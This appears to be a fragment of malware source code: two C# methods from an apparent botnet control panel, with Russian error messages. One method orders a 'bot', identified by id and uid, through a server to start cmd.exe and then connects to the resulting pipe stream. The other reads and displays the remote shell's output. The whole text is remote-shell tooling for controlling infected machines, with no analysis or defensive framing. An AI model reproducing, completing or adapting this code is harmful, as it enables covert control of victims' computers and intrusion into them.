public void Execute() { byte[] buf = new byte[1024]; try { while (true) { int count = Server.ReadDataStream(sc, ref buf, 2000); if (count == 0) { break; } if (count > 0) { if (count <= 0) { break; } string s = Encoding.GetEncoding(866).GetString(buf, 0, count); control.Invoke(control.funcPrintOutput, new object[] { s }); } } sc.Close(); } catch (Exception) { } try { control.Invoke(control.funcSetError, new object[] { "Связь с cmd.exe потеряна, работа окончена" }); } catch { } }
public void Execute() { string err = string.Empty; Socket sc = null; string namePipe = string.Empty; uint idStream = 0; while (true) { string cmd = "cmd"; if (control.user) { cmd += " user"; } if (!bot.server.CM_SendCmd(bot.id, bot.uid, cmd)) { err = "Не удалось отослать команду на включение cmd.exe"; break; } Server.StreamPipeInfo[] pipes = null; for (int i = 0; i < 10; i++) { Thread.Sleep(1000); pipes = bot.server.CM_GetPipeStreams(bot.id, bot.uid, "cmd"); if (pipes != null && pipes.Length > 0) { break; } } if (pipes == null) { err = "На сервере не появился канал передачи данных от cmd.exe"; break; } namePipe = pipes[pipes.Length - 1].namePipe; idStream = pipes[pipes.Length - 1].id; sc = bot.server.CM_GetStream(bot.id, bot.uid, idStream); if (sc == null) { err = "Не удалось подключиться к каналу передачи данных от cmd.exe"; break; } break; } if (err.Length > 0) { control.Invoke(control.funcSetError, new object[] { err }); } else { control.Invoke(control.funcInited, new object[] { namePipe, idStream, sc }); } }